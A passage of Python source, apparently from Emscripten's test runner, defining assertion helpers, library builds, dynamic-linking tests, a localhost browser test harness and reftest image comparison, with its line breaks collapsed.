% what) def get_wasm_text(self, wasm_binary): return run_process([os.path.join(Building.get_binaryen_bin(), 'wasm-dis'), wasm_binary], stdout=PIPE).stdout def is_exported_in_wasm(self, name, wasm): wat = self.get_wasm_text(wasm) return ('(export "%s"' % name) in wat def run_generated_code(self, engine, filename, args=[], check_timeout=True, output_nicerizer=None, assert_returncode=0): # use files, as PIPE can get too full and hang us stdout = self.in_dir('stdout') stderr = self.in_dir('stderr') # Make sure that we produced proper line endings to the .js file we are about to run. self.assertEqual(line_endings.check_line_endings(filename), 0) if EMTEST_VERBOSE: print("Running '%s' under '%s'" % (filename, engine)) with chdir(self.get_dir()): jsrun.run_js(filename, engine, args, check_timeout, stdout=open(stdout, 'w'), stderr=open(stderr, 'w'), assert_returncode=assert_returncode) out = open(stdout, 'r').read() err = open(stderr, 'r').read() if engine == SPIDERMONKEY_ENGINE and self.get_setting('ASM_JS') == 1: err = self.validate_asmjs(err) if output_nicerizer: ret = output_nicerizer(out, err) else: ret = out + err assert 'strict warning:' not in ret, 'We should pass all strict mode checks: ' + ret if EMTEST_VERBOSE: print('-- being program output --') print(ret, end='') print('-- end program output --') return ret def assertExists(self, filename, msg=None): if not msg: msg = 'Expected file not found: ' + filename self.assertTrue(os.path.exists(filename), msg) def assertNotExists(self, filename, msg=None): if not msg: msg = 'Unexpected file exists: ' + filename self.assertFalse(os.path.exists(filename), msg) # Tests that the given two paths are identical, modulo path delimiters. E.g. "C:/foo" is equal to "C:\foo". def assertPathsIdentical(self, path1, path2): path1 = path1.replace('\\', '/') path2 = path2.replace('\\', '/') return self.assertIdentical(path1, path2) # Tests that the given two multiline text content are identical, modulo line ending differences (\r\n on Windows, \n on Unix). def assertTextDataIdentical(self, text1, text2): text1 = text1.replace('\r\n', '\n') text2 = text2.replace('\r\n', '\n') return self.assertIdentical(text1, text2) def assertIdentical(self, values, y): if type(values) not in [list, tuple]: values = [values] for x in values: if x == y: return # success self.fail("Expected to have '%s' == '%s', diff:\n\n%s" % ( limit_size(values[0]), limit_size(y), limit_size(''.join([a.rstrip() + '\n' for a in difflib.unified_diff(x.split('\n'), y.split('\n'), fromfile='expected', tofile='actual')])) )) def assertTextDataContained(self, text1, text2): text1 = text1.replace('\r\n', '\n') text2 = text2.replace('\r\n', '\n') return self.assertContained(text1, text2) def assertContained(self, values, string, additional_info=''): if type(values) not in [list, tuple]: values = [values] values = list(map(asstr, values)) if callable(string): string = string() for value in values: if value in string: return # success self.fail("Expected to find '%s' in '%s', diff:\n\n%s\n%s" % ( limit_size(values[0]), limit_size(string), limit_size(''.join([a.rstrip() + '\n' for a in difflib.unified_diff(values[0].split('\n'), string.split('\n'), fromfile='expected', tofile='actual')])), additional_info )) def assertNotContained(self, value, string): if callable(value): value = value() # lazy loading if callable(string): string = string() if value in string: self.fail("Expected to NOT find '%s' in '%s', diff:\n\n%s" % ( limit_size(value), limit_size(string), limit_size(''.join([a.rstrip() + '\n' for a in difflib.unified_diff(value.split('\n'), string.split('\n'), fromfile='expected', tofile='actual')])) )) library_cache = {} def get_build_dir(self): ret = os.path.join(self.get_dir(), 'building') if not os.path.exists(ret): os.makedirs(ret) return ret def get_library(self, name, generated_libs, configure=['sh', './configure'], configure_args=[], make=['make'], make_args='help', cache=True, env_init={}, cache_name_extra='', native=False): if make_args == 'help': make_args = ['-j', str(multiprocessing.cpu_count())] build_dir = self.get_build_dir() output_dir = self.get_dir() hash_input = (str(Building.COMPILER_TEST_OPTS) + ' $ ' + str(env_init)).encode('utf-8') cache_name = name + ','.join([opt for opt in Building.COMPILER_TEST_OPTS if len(opt) < 7]) + '_' + hashlib.md5(hash_input).hexdigest() + cache_name_extra valid_chars = "_%s%s" % (string.ascii_letters, string.digits) cache_name = ''.join([(c if c in valid_chars else '_') for c in cache_name]) if self.library_cache is not None: if cache and self.library_cache.get(cache_name): print('<load %s from cache> ' % cache_name, file=sys.stderr) generated_libs = [] for basename, contents in self.library_cache[cache_name]: bc_file = os.path.join(build_dir, cache_name + '_' + basename) with open(bc_file, 'wb') as f: f.write(contents) generated_libs.append(bc_file) return generated_libs print('<building and saving %s into cache> ' % cache_name, file=sys.stderr) return build_library(name, build_dir, output_dir, generated_libs, configure, configure_args, make, make_args, self.library_cache, cache_name, copy_project=True, env_init=env_init, native=native) def clear(self): for name in os.listdir(self.get_dir()): try_delete(os.path.join(self.get_dir(), name)) if EMSCRIPTEN_TEMP_DIR: for name in os.listdir(EMSCRIPTEN_TEMP_DIR): try_delete(os.path.join(EMSCRIPTEN_TEMP_DIR, name)) # Shared test code between main suite and others def setup_runtimelink_test(self): create_test_file('header.h', r''' struct point { int x, y; }; ''') supp = r''' #include <stdio.h> #include "header.h" extern void mainFunc(int x); extern int mainInt; void suppFunc(struct point &p) { printf("supp: %d,%d\n", p.x, p.y); mainFunc(p.x + p.y); printf("supp see: %d\n", mainInt); } int suppInt = 76; ''' create_test_file('supp.cpp', supp) main = r''' #include <stdio.h> #include "header.h" extern void suppFunc(struct point &p); extern int suppInt; void mainFunc(int x) { printf("main: %d\n", x); } int mainInt = 543; int main( int argc, const char *argv[] ) { struct point p = { 54, 2 }; suppFunc(p); printf("main see: %d\nok.\n", suppInt); #ifdef BROWSER REPORT_RESULT(suppInt); #endif return 0; } ''' return (main, supp) # excercise dynamic linker. # # test that linking to shared library B, which is linked to A, loads A as well. # main is also linked to C, which is also linked to A. A is loaded/initialized only once. # # B # main < > A # C # # this test is used by both test_core and test_browser. # when run under broswer it excercises how dynamic linker handles concurrency # - because B and C are loaded in parallel. def _test_dylink_dso_needed(self, do_run): create_test_file('liba.cpp', r''' #include <stdio.h> #include <emscripten.h> static const char *afunc_prev; EMSCRIPTEN_KEEPALIVE void afunc(const char *s); void afunc(const char *s) { printf("a: %s (prev: %s)\n", s, afunc_prev); afunc_prev = s; } struct ainit { ainit() { puts("a: loaded"); } }; static ainit _; ''') create_test_file('libb.cpp', r''' #include <emscripten.h> void afunc(const char *s); EMSCRIPTEN_KEEPALIVE void bfunc(); void bfunc() { afunc("b"); } ''') create_test_file('libc.cpp', r''' #include <emscripten.h> void afunc(const char *s); EMSCRIPTEN_KEEPALIVE void cfunc(); void cfunc() { afunc("c"); } ''') # _test_dylink_dso_needed can be potentially called several times by a test. # reset dylink-related options first. self.clear_setting('MAIN_MODULE') self.clear_setting('SIDE_MODULE') self.clear_setting('RUNTIME_LINKED_LIBS') # XXX in wasm each lib load currently takes 5MB; default TOTAL_MEMORY=16MB is thus not enough self.set_setting('TOTAL_MEMORY', 32 * 1024 * 1024) so = '.wasm' if self.is_wasm() else '.js' def ccshared(src, linkto=[]): cmdv = [PYTHON, EMCC, src, '-o', os.path.splitext(src)[0] + so] + self.get_emcc_args() cmdv += ['-s', 'SIDE_MODULE=1', '-s', 'RUNTIME_LINKED_LIBS=' + str(linkto)] run_process(cmdv) ccshared('liba.cpp') ccshared('libb.cpp', ['liba' + so]) ccshared('libc.cpp', ['liba' + so]) self.set_setting('MAIN_MODULE', 1) self.set_setting('RUNTIME_LINKED_LIBS', ['libb' + so, 'libc' + so]) do_run(r''' void bfunc(); void cfunc(); int _main() { bfunc(); cfunc(); return 0; } ''', 'a: loaded\na: b (prev: (null))\na: c (prev: b)\n') self.set_setting('RUNTIME_LINKED_LIBS', []) self.emcc_args += ['--embed-file', '.@/'] do_run(r''' #include <assert.h> #include <dlfcn.h> #include <stddef.h> int _main() { void *bdso, *cdso; void (*bfunc)(), (*cfunc)(); // FIXME for RTLD_LOCAL binding symbols to loaded lib is not currenlty working bdso = dlopen("libb%(so)s", RTLD_GLOBAL); assert(bdso != NULL); cdso = dlopen("libc%(so)s", RTLD_GLOBAL); assert(cdso != NULL); bfunc = (void (*)())dlsym(bdso, "_Z5bfuncv"); assert(bfunc != NULL); cfunc = (void (*)())dlsym(cdso, "_Z5cfuncv"); assert(cfunc != NULL); bfunc(); cfunc(); return 0; } ''' % locals(), 'a: loaded\na: b (prev: (null))\na: c (prev: b)\n') def filtered_js_engines(self, js_engines=None): if js_engines is None: js_engines = shared.JS_ENGINES for engine in js_engines: assert type(engine) == list for engine in self.banned_js_engines: assert type(engine) == list js_engines = [engine for engine in js_engines if engine and engine[0] not in [banned[0] for banned in self.banned_js_engines if banned]] return js_engines def do_run_from_file(self, src, expected_output, *args, **kwargs): self.do_run(open(src).read(), open(expected_output).read(), *args, **kwargs) ## Does a complete test - builds, runs, checks output, etc. def do_run(self, src, expected_output, args=[], output_nicerizer=None, no_build=False, main_file=None, additional_files=[], js_engines=None, post_build=None, basename='src.cpp', libraries=[], includes=[], force_c=False, build_ll_hook=None, assert_returncode=None, assert_identical=False): if self.get_setting('ASYNCIFY') == 1 and self.is_wasm_backend(): self.skipTest("wasm backend doesn't support ASYNCIFY yet") if force_c or (main_file is not None and main_file[-2:]) == '.c': basename = 'src.c' Building.COMPILER = to_cc(Building.COMPILER) dirname = self.get_dir() filename = os.path.join(dirname, basename) if not no_build: self.build(src, dirname, filename, main_file=main_file, additional_files=additional_files, libraries=libraries, includes=includes, build_ll_hook=build_ll_hook, post_build=post_build) # Run in both JavaScript engines, if optimizing - significant differences there (typed arrays) js_engines = self.filtered_js_engines(js_engines) js_file = filename + '.o.js' if len(js_engines) == 0: self.skipTest('No JS engine present to run this test with. Check %s and the paths therein.' % EM_CONFIG) if len(js_engines) > 1 and not self.use_all_engines: if SPIDERMONKEY_ENGINE in js_engines: # make sure to get asm.js validation checks, using sm js_engines = [SPIDERMONKEY_ENGINE] else: js_engines = js_engines[:1] for engine in js_engines: # print 'test in', engine js_output = self.run_generated_code(engine, js_file, args, output_nicerizer=output_nicerizer, assert_returncode=assert_returncode) js_output = js_output.replace('\r\n', '\n') if expected_output: try: if assert_identical: self.assertIdentical(expected_output, js_output) else: self.assertContained(expected_output, js_output) self.assertNotContained('ERROR', js_output) except Exception: print('(test did not pass in JS engine: %s)' % engine) raise # shutil.rmtree(dirname) # TODO: leave no trace in memory. But for now nice for debugging if self.save_JS: global test_index self.hardcode_arguments(js_file, args) shutil.copyfile(js_file, os.path.join(TEMP_DIR, str(test_index) + '.js')) test_index += 1 # No building - just process an existing .ll file (or .bc, which we turn into .ll) def do_ll_run(self, ll_file, expected_output=None, args=[], js_engines=None, output_nicerizer=None, force_recompile=False, build_ll_hook=None, assert_returncode=None): filename = os.path.join(self.get_dir(), 'src.cpp') self.prep_ll_run(filename, ll_file, force_recompile, build_ll_hook) self.ll_to_js(filename) self.do_run(None, expected_output, args, no_build=True, js_engines=js_engines, output_nicerizer=output_nicerizer, assert_returncode=assert_returncode) def get_freetype_library(self): self.set_setting('DEAD_FUNCTIONS', self.get_setting('DEAD_FUNCTIONS') + ['_inflateEnd', '_inflate', '_inflateReset', '_inflateInit2_']) return self.get_library('freetype', os.path.join('objs', '.libs', 'libfreetype.a'), configure_args=['--disable-shared']) def get_poppler_library(self): # The fontconfig symbols are all missing from the poppler build # e.g. FcConfigSubstitute self.set_setting('ERROR_ON_UNDEFINED_SYMBOLS', 0) Building.COMPILER_TEST_OPTS += [ '-I' + path_from_root('tests', 'freetype', 'include'), '-I' + path_from_root('tests', 'poppler', 'include') ] freetype = self.get_freetype_library() # Poppler has some pretty glaring warning. Suppress them to keep the # test output readable. Building.COMPILER_TEST_OPTS += [ '-Wno-sentinel', '-Wno-logical-not-parentheses', '-Wno-unused-private-field', '-Wno-tautological-compare', '-Wno-unknown-pragmas', ] poppler = self.get_library( 'poppler', [os.path.join('utils', 'pdftoppm.o'), os.path.join('utils', 'parseargs.o'), os.path.join('poppler', '.libs', 'libpoppler.a')], env_init={'FONTCONFIG_CFLAGS': ' ', 'FONTCONFIG_LIBS': ' '}, configure_args=['--disable-libjpeg', '--disable-libpng', '--disable-poppler-qt', '--disable-poppler-qt4', '--disable-cms', '--disable-cairo-output', '--disable-abiword-output', '--disable-shared']) return poppler + freetype def get_zlib_library(self): if WINDOWS: return self.get_library('zlib', os.path.join('libz.a'), configure=[path_from_root('emconfigure.bat')], configure_args=['cmake', '.'], make=['mingw32-make'], make_args=[]) return self.get_library('zlib', os.path.join('libz.a'), make_args=['libz.a']) # Run a server and a web page. When a test runs, we tell the server about it, # which tells the web page, which then opens a window with the test. Doing # it this way then allows the page to close() itself when done. def harness_server_func(in_queue, out_queue, port): class TestServerHandler(SimpleHTTPRequestHandler): # Request header handler for default do_GET() path in # SimpleHTTPRequestHandler.do_GET(self) below. def send_head(self): if self.path.endswith('.js'): path = self.translate_path(self.path) try: f = open(path, 'rb') except IOError: self.send_error(404, "File not found: " + path) return None self.send_response(200) self.send_header("Content-type", 'application/javascript') self.send_header('Cache-Control', 'no-cache, must-revalidate') self.send_header('Connection', 'close') self.send_header('Expires', '-1') self.end_headers() return f else: return SimpleHTTPRequestHandler.send_head(self) def do_GET(self): if self.path == '/run_harness': if DEBUG: print('[server startup]') self.send_response(200) self.send_header('Content-type', 'text/html') self.end_headers() self.wfile.write(open(path_from_root('tests', 'browser_harness.html'), 'rb').read()) elif 'report_' in self.path: # for debugging, tests may encode the result and their own url (window.location) as result|url if '|' in self.path: path, url = self.path.split('|', 1) else: path = self.path url = '?' if DEBUG: print('[server response:', path, url, ']') if out_queue.empty(): out_queue.put(path) else: # a badly-behaving test may send multiple xhrs with reported results; we just care # about the first (if we queued the others, they might be read as responses for # later tests, or maybe the test sends more than one in a racy manner). # we place 'None' in the queue here so that the outside knows something went wrong # (none is not a valid value otherwise; and we need the outside to know because if we # raise an error in here, it is just swallowed in python's webserver code - we want # the test to actually fail, which a webserver response can't do). out_queue.put(None) raise Exception('browser harness error, excessive response to server - test must be fixed! "%s"' % self.path) self.send_response(200) self.send_header('Content-type', 'text/plain') self.send_header('Cache-Control', 'no-cache, must-revalidate') self.send_header('Connection', 'close') self.send_header('Expires', '-1') self.end_headers() self.wfile.write(b'OK') elif 'stdout=' in self.path or 'stderr=' in self.path or 'exception=' in self.path: ''' To get logging to the console from browser tests, add this to print/printErr/the exception handler in src/shell.html: var xhr = new XMLHttpRequest(); xhr.open('GET', encodeURI('http://localhost:8888?stdout=' + text)); xhr.send(); ''' print('[client logging:', urllib.unquote_plus(self.path), ']') elif self.path == '/check': self.send_response(200) self.send_header('Content-type', 'text/html') self.end_headers() if not in_queue.empty(): url, dir = in_queue.get() if DEBUG: print('[queue command:', url, dir, ']') assert in_queue.empty(), 'should not be any blockage - one test runs at a time' assert out_queue.empty(), 'the single response from the last test was read' # tell the browser to load the test self.wfile.write('COMMAND:' + url) # move us to the right place to serve the files os.chdir(dir) else: # the browser must keep polling self.wfile.write('(wait)') else: # Use SimpleHTTPServer default file serving operation for GET. if DEBUG: print('[simple HTTP serving:', urllib.unquote_plus(self.path), ']') SimpleHTTPRequestHandler.do_GET(self) def log_request(code=0, size=0): # don't log; too noisy pass # allows streaming compilation to work SimpleHTTPRequestHandler.extensions_map['.wasm'] = 'application/wasm' httpd = HTTPServer(('localhost', port), TestServerHandler) httpd.serve_forever() # test runner will kill us class BrowserCore(RunnerCore): # note how many tests hang / do not send an output. if many of these # happen, likely something is broken and it is best to abort the test # suite early, as otherwise we will wait for the timeout on every # single test (hundreds of minutes) MAX_UNRESPONSIVE_TESTS = 10 unresponsive_tests = 0 def __init__(self, *args, **kwargs): super(BrowserCore, self).__init__(*args, **kwargs) @classmethod def setUpClass(cls): super(BrowserCore, cls).setUpClass() cls.also_asmjs = int(os.getenv('EMTEST_BROWSER_ALSO_ASMJS', '0')) == 1 cls.port = int(os.getenv('EMTEST_BROWSER_PORT', '8888')) if not has_browser(): return if not EMTEST_BROWSER: print("Using default system browser") else: cmd = shlex.split(EMTEST_BROWSER) def run_in_other_browser(url): subprocess.Popen(cmd + [url]) webbrowser.open_new = run_in_other_browser print("Using Emscripten browser: " + str(cmd)) cls.browser_timeout = 30 cls.harness_in_queue = multiprocessing.Queue() cls.harness_out_queue = multiprocessing.Queue() cls.harness_server = multiprocessing.Process(target=harness_server_func, args=(cls.harness_in_queue, cls.harness_out_queue, cls.port)) cls.harness_server.start() print('[Browser harness server on process %d]' % cls.harness_server.pid) webbrowser.open_new('http://localhost:%s/run_harness' % cls.port) @classmethod def tearDownClass(cls): super(BrowserCore, cls).tearDownClass() if not has_browser(): return cls.harness_server.terminate() print('[Browser harness server terminated]') if WINDOWS: # On Windows, shutil.rmtree() in tearDown() raises this exception if we do not wait a bit: # WindowsError: [Error 32] The process cannot access the file because it is being used by another process. time.sleep(0.1) def assert_out_queue_empty(self, who): if not self.harness_out_queue.empty(): while not self.harness_out_queue.empty(): self.harness_out_queue.get() raise Exception('excessive responses from %s' % who) def run_browser(self, html_file, message, expectedResult=None, timeout=None): if not has_browser(): return if BrowserCore.unresponsive_tests >= BrowserCore.MAX_UNRESPONSIVE_TESTS: self.skipTest('too many unresponsive tests, skipping browser launch - check your setup!') self.assert_out_queue_empty('previous test') if DEBUG: print('[browser launch:', html_file, ']') if expectedResult is not None: try: self.harness_in_queue.put(( asbytes('http://localhost:%s/%s' % (self.port, html_file)), self.get_dir() )) received_output = False output = '[no http server activity]' start = time.time() if timeout is None: timeout = self.browser_timeout while time.time() - start < timeout: if not self.harness_out_queue.empty(): output = self.harness_out_queue.get() received_output = True break time.sleep(0.1) if not received_output: BrowserCore.unresponsive_tests += 1 print('[unresponsive tests: %d]' % BrowserCore.unresponsive_tests) if output is None: # the browser harness reported an error already, and sent a None to tell # us to also fail the test raise Exception('failing test due to browser harness error') if output.startswith('/report_result?skipped:'): self.skipTest(unquote(output[len('/report_result?skipped:'):]).strip()) else: self.assertIdentical(expectedResult, output) finally: time.sleep(0.1) # see comment about Windows above self.assert_out_queue_empty('this test') else: webbrowser.open_new(os.path.abspath(html_file)) print('A web browser window should have opened a page containing the results of a part of this test.') print('You need to manually look at the page to see that it works ok: ' + message) print('(sleeping for a bit to keep the directory alive for the web browser..)') time.sleep(5) print('(moving on..)') def with_report_result(self, code): return '#define EMTEST_PORT_NUMBER %d\n#include "%s"\n' % (self.port, path_from_root('tests', 'report_result.h')) + code # @manually_trigger If set, we do not assume we should run the reftest when main() is done. # Instead, call doReftest() in JS yourself at the right time. def reftest(self, expected, manually_trigger=False): # make sure the pngs used here have no color correction, using e.g. # pngcrush -rem gAMA -rem cHRM -rem iCCP -rem sRGB infile outfile basename = os.path.basename(expected) shutil.copyfile(expected, os.path.join(self.get_dir(), basename)) with open(os.path.join(self.get_dir(), 'reftest.js'), 'w') as out: with open(path_from_root('tests', 'browser_reporting.js')) as reporting: out.write(''' function doReftest() { if (doReftest.done) return; doReftest.done = true; var img = new Image(); img.onload = function() { assert(img.width == Module.canvas.width, 'Invalid width: ' + Module.canvas.width + ', should be ' + img.width); assert(img.height == Module.canvas.height, 'Invalid height: ' + Module.canvas.height + ', should be ' + img.height); var canvas = document.createElement('canvas'); canvas.width = img.width; canvas.height = img.height; var ctx = canvas.getContext('2d'); ctx.drawImage(img, 0, 0); var expected = ctx.getImageData(0, 0, img.width, img.height).data; var actualUrl = Module.canvas.toDataURL(); var actualImage = new Image(); actualImage.onload = function() { /* document.body.appendChild(img); // for comparisons var div = document.createElement('div'); div.innerHTML = '^=expected, v=actual'; document.body.appendChild(div); document.body.appendChild(actualImage); // to grab it for creating the test reference */ var actualCanvas = document.createElement('canvas'); actualCanvas.width = actualImage.width; actualCanvas.height = actualImage.height; var actualCtx = actualCanvas.getContext('2d'); actualCtx.drawImage(actualImage, 0, 0); var actual = actualCtx.getImageData(0, 0, actualImage.width, actualImage.height).data; var total = 0; var width = img.width; var height = img.height; for (var x = 0; x < width; x++) { for (var y = 0; y < height; y++) { total += Math.abs(expected[y*width*4 + x*4 + 0] - actual[y*width*4 + x*4 + 0]); total += Math.abs(expected[y*width*4 + x*4 + 1] - actual[y*width*4 + x*4 + 1]); total += Math.abs(expected[y*width*4 + x*4 + 2] - actual[y*width*4 + x*4 + 2]); } } var wrong = Math.floor(total / (img.width*img.height*3)); // floor, to allow some margin of error for antialiasing // If the main JS file is in a worker, or modularize, then we need to supply our own reporting logic. if (typeof reportResultToServer === 'undefined') { (function() { %s reportResultToServer(wrong); })(); } else { reportResultToServer(wrong); } }; actualImage.src = actualUrl; } img.src = '%s'; }; // Automatically trigger the reftest? if (!%s) { // Yes, automatically Module['postRun'] = doReftest; if (typeof WebGLClient !== 'undefined') { // trigger reftest from RAF as well, needed for workers where there is no pre|postRun on the main thread var realRAF = window.requestAnimationFrame; window.requestAnimationFrame = function(func) { realRAF(function() { func(); realRAF(doReftest); }); }; // trigger reftest from canvas render too, for workers not doing GL var realWOM = worker.onmessage; worker.onmessage = function(event) { realWOM(event); if (event.data.target === 'canvas' && event.data.op === 'render') { realRAF(doReftest); } }; } } else { // Manually trigger the reftest. // The user will call it. // Add an event loop iteration to ensure rendering, so users don't need to bother. var realDoReftest = doReftest; doReftest = function() { setTimeout(realDoReftest, 1); }; } ''' % (reporting.read(), basename, int(manually_trigger))) def compile_btest(self, args): run_process([PYTHON, EMCC] + args + ['--pre-js', path_from_root('tests', 'browser_reporting.js')]) def btest(self, filename, expected=None, reference=None, force_c=False, reference_slack=0, manual_reference=False, post_build=None, args=[], outfile='test.html', message='.', also_proxied=False, url_suffix='', timeout=None, also_asmjs=False, manually_trigger_reftest=False): assert expected or reference, 'a btest must either expect an output, or have a reference image' # if we are provided the source and not a path, use that filename_is_src = '\n' in filename src = filename if filename_is_src else '' original_args = args[:] if 'USE_PTHREADS=1' in args and not self.is_wasm_backend() and 'ALLOW_MEMORY_GROWTH=1' not in args: if EMTEST_WASM_PTHREADS: also_asmjs = True elif 'WASM=0' not in args: args += ['-s', 'WASM=0'] if 'WASM=0' not in args: # Filter out separate-asm, which is implied by wasm args = [a for a in args if a != '--separate-asm'] args += ['-DEMTEST_PORT_NUMBER=%d' % self.port, '-include', path_from_root('tests', 'report_result.h')] if filename_is_src: filepath = os.path.join(self.get_dir(), 'main.c' if force_c else 'main.cpp') with open(filepath, 'w') as f: f.write(src) else: filepath = path_from_root('tests', filename) if reference: self.reference = reference expected = [str(i) for i in range(0, reference_slack + 1)] self.reftest(path_from_root('tests', reference), manually_trigger=manually_trigger_reftest) if not manual_reference: args = args + ['--pre-js', 'reftest.js', '-s', 'GL_TESTING=1'] all_args = ['-s', 'IN_TEST_HARNESS=1', filepath, '-o', outfile] + args # print('all args:', all_args) try_delete(outfile) self.compile_btest(all_args) self.assertExists(outfile) if post_build: post_build() if not isinstance(expected, list): expected = [expected] self.run_browser(outfile + url_suffix, message, ['/report_result?' + e for e in expected], timeout=timeout) # Tests can opt into being run under asmjs as well if 'WASM=0' not in args and (also_asmjs or self.also_asmjs): self.btest(filename, expected, reference, force_c, reference_slack, manual_reference, post_build, args + ['-s', 'WASM=0'], outfile, message, also_proxied=False, timeout=timeout) if also_proxied: print('proxied...') if reference: assert not manual_reference manual_reference = True assert not post_build post_build = self.post_manual_reftest # run proxied self.btest(filename, expected, reference, force_c, reference_slack, manual_reference, post_build, original_args + ['--proxy-to-worker', '-s', 'GL_TESTING=1'], outfile, message, timeout=timeout) ################################################################################################### def build_library(name, build_dir, output_dir, generated_libs, configure=['sh', './configure'], configure_args=[], make=['make'], make_args='help', cache=None, cache_name=None, copy_project=False, env_init={}, source_dir=None, native=False): """Build a library into a .bc file. We build the .bc file once and cache it for all our tests. (We cache in memory since the test directory is destroyed and recreated for each test. Note that we cache separately for different compilers). This cache is just during the test runner. There is a different concept of caching as well, see |Cache|. """ if type(generated_libs) is not list: generated_libs = [generated_libs] if source_dir is None: source_dir = path_from_root('tests', name.replace('_native', '')) if make_args == 'help': make_args = ['-j', str(multiprocessing.cpu_count())] temp_dir = build_dir if copy_project: project_dir = os.path.join(temp_dir, name) if os.path.exists(project_dir): shutil.rmtree(project_dir) shutil.copytree(source_dir, project_dir) # Useful in debugging sometimes to comment this out, and two lines above else: project_dir = build_dir try: old_dir = os.getcwd() except: old_dir = None os.chdir(project_dir) generated_libs = [os.path.join(project_dir, lib) for lib in generated_libs] # for lib in generated_libs: # try: # os.unlink(lib) # make sure compilation completed successfully # except: # pass env = Building.get_building_env(native, True) for k, v in env_init.items(): env[k] = v if configure: # Useful in debugging sometimes to comment this out (and the lines below # up to and including the |link| call) if EM_BUILD_VERBOSE < 2: stdout = open(os.path.join(project_dir, 'configure_out'), 'w') else: stdout = None if EM_BUILD_VERBOSE < 1: stderr = open(os.path.join(project_dir, 'configure_err'), 'w') else: stderr = None try: Building.configure(configure + configure_args, env=env, stdout=stdout, stderr=stderr) except subprocess.CalledProcessError as e: pass # Ignore exit code != 0 def open_make_out(i, mode='r'): return open(os.path.join(project_dir, 'make_out' + str(i)), mode) def open_make_err(i, mode='r'): return open(os.path.join(project_dir, 'make_err' + str(i)), mode) if EM_BUILD_VERBOSE >= 3: make_args += ['VERBOSE=1'] # FIXME: Sad workaround for some build systems that need to be run twice to succeed (e.g. poppler) for i in range(2): with open_make_out(i, 'w') as make_out: with open_make_err(i, 'w') as make_err: stdout = make_out if EM_BUILD_VERBOSE < 2 else None stderr = make_err if EM_BUILD_VERBOSE < 1 else None if i == 0: try: Building.make(make + make_args, stdout=stdout, stderr=stderr, env=env) except subprocess.CalledProcessError as e: pass # Ignore exit code != 0 else: Building.make(make + make_args, stdout=stdout, stderr=stderr, env=env) try: if cache is not None: cache[cache_name] = [] for f in generated_libs: basename = os.path.basename(f) cache[cache_name].append((basename, open(f, 'rb').read())) break except Exception as e: if i > 0: if EM_BUILD_VERBOSE == 0: # Due to the ugly hack above our best guess is to output the first run with open_make_err(0) as ferr: for line in ferr: sys.stderr.write(line) raise Exception('could not build library ' + name + ' due to exception ' + str(e)) if old_dir: os.chdir(old_dir) return generated_libs def check_js_engines(): total_engines = len(shared.JS_ENGINES) shared.JS_ENGINES = list(filter(jsrun.check_engine, shared.JS_ENGINES)) if not shared.JS_ENGINES: print('WARNING: None of the JS engines in JS_ENGINES appears to work.') elif len(shared.JS_ENGINES) < total_engines: print('WARNING: Not all the JS engines in JS_ENGINES appears to work, ignoring those.') if EMTEST_ALL_ENGINES: print('(using ALL js engines)') else: logger.warning('use EMTEST_ALL_ENGINES=1 in the env to run against all JS ' 'engines, which is slower but provides more coverage') def get_and_import_modules(): modules = [] for filename in glob.glob(os.path.join(os.path.dirname(__file__), 'test*.py')): module_dir, module_file = os.path.split(filename) module_name, module_ext = os.path.splitext(module_file) __import__(module_name) modules.append(sys.modules[module_name]) return modules def get_all_tests(modules): # Create a list of all known tests so that we can choose from them based on a wildcard search all_tests = [] suites = core_test_modes + non_core_test_modes for m in modules: for s in suites: if hasattr(m, s): tests = [t for t in dir(getattr(m, s)) if t.startswith('test_')] all_tests += [s + '.' + t for t in tests] return all_tests def tests_with_expanded_wildcards(args, all_tests): # Process wildcards, e.g. "browser.test_pthread_*" should expand to list all pthread tests new_args = [] for i, arg in enumerate(args): if '*' in arg: if arg.startswith('skip:'): arg = arg[5:] matching_tests = fnmatch.filter(all_tests, arg) new_args += ['skip:' + t for t in matching_tests] else: new_args += fnmatch.filter(all_tests, arg) else: new_args += [arg] if not new_args and args: print('No tests found to run in set: ' + str(args)) sys.exit(1) return new_args def skip_requested_tests(args, modules): for i, arg in enumerate(args): if arg.startswith('skip:'): which = [arg.split('skip:')[1]] print(','.join(which), file=sys.stderr) for test in which: print('will skip "%s"' % test, file=sys.stderr) suite_name, test_name = test.split('.') for m in modules: try: suite = getattr(m, suite_name) setattr(suite, test_name, lambda s: s.skipTest("requested to be skipped")) break except: pass args[i] = None return [a for a in args if a is not None] def args_for_random_tests(args, modules): if not args: return args first = args[0] if first.startswith('random'): random_arg = first[6:] num_tests, base_module, relevant_modes = get_random_test_parameters(random_arg) for m in modules: if hasattr(m, base_module): base = getattr(m, base_module) new_args = choose_random_tests(base, num_tests, relevant_modes) print_random_test_statistics(num_tests) return new_args return args def get_random_test_parameters(arg): num_tests = 1 base_module = default_core_test_mode relevant_modes = core_test_modes if len(arg): num_str = arg if arg.startswith('other'): base_module = 'other' relevant_modes = ['other'] num_str = arg.replace('other', '') elif arg.startswith('browser'): base_module = 'browser' relevant_modes = ['browser'] num_str = arg.replace('browser', '') num_tests = int(num_str) return num_tests, base_module, relevant_modes def choose_random_tests(base, num_tests, relevant_modes): tests = [t for t in dir(base) if t.startswith('test_')] print() chosen = set() while len(chosen) < num_tests: test = random.choice(tests) mode = random.choice(relevant_modes) new_test = mode + '.' + test before = len(chosen) chosen.add(new_test) if len(chosen) > before: print('* ' + new_test) else: # we may have hit the limit if len(chosen) == len(tests) * len(relevant_modes): print('(all possible tests chosen! %d = %d*%d)' % (len(chosen), len(tests), len(relevant_modes))) break return list(chosen) def print_random_test_statistics(num_tests): std = 0.5 / math.sqrt(num_tests) expected = 100.0 * (1.0 - std) print() print('running those %d randomly-selected tests. if they all pass, then there is a ' 'greater than 95%% chance that at least %.2f%% of the test suite will pass' % (num_tests, expected)) print() def show(): print('if all tests passed then there is a greater than 95%% chance that at least ' '%.2f%% of the test suite will pass' % (expected)) atexit.register(show) def load_test_suites(args, modules): loader = unittest.TestLoader() unmatched_test_names = set(args) suites = [] for m in modules: names_in_module = [] for name in list(unmatched_test_names): try: operator.attrgetter(name)(m) names_in_module.append(name) unmatched_test_names.remove(name) except AttributeError: pass if len(names_in_module): loaded_tests = loader.loadTestsFromNames(sorted(names_in_module), m) tests = flattened_tests(loaded_tests) suite = suite_for_module(m, tests) for test in tests: suite.addTest(test) suites.append((m.__name__, suite)) return suites, unmatched_test_names def flattened_tests(loaded_tests): tests = [] for subsuite in loaded_tests: for test in subsuite: tests.append(test) return tests def suite_for_module(module, tests): suite_supported = module.__name__ in ('test_core', 'test_other') has_multiple_tests = len(tests) > 1 has_multiple_cores = parallel_runner.num_cores() > 1 if suite_supported and has_multiple_tests and has_multiple_cores: return 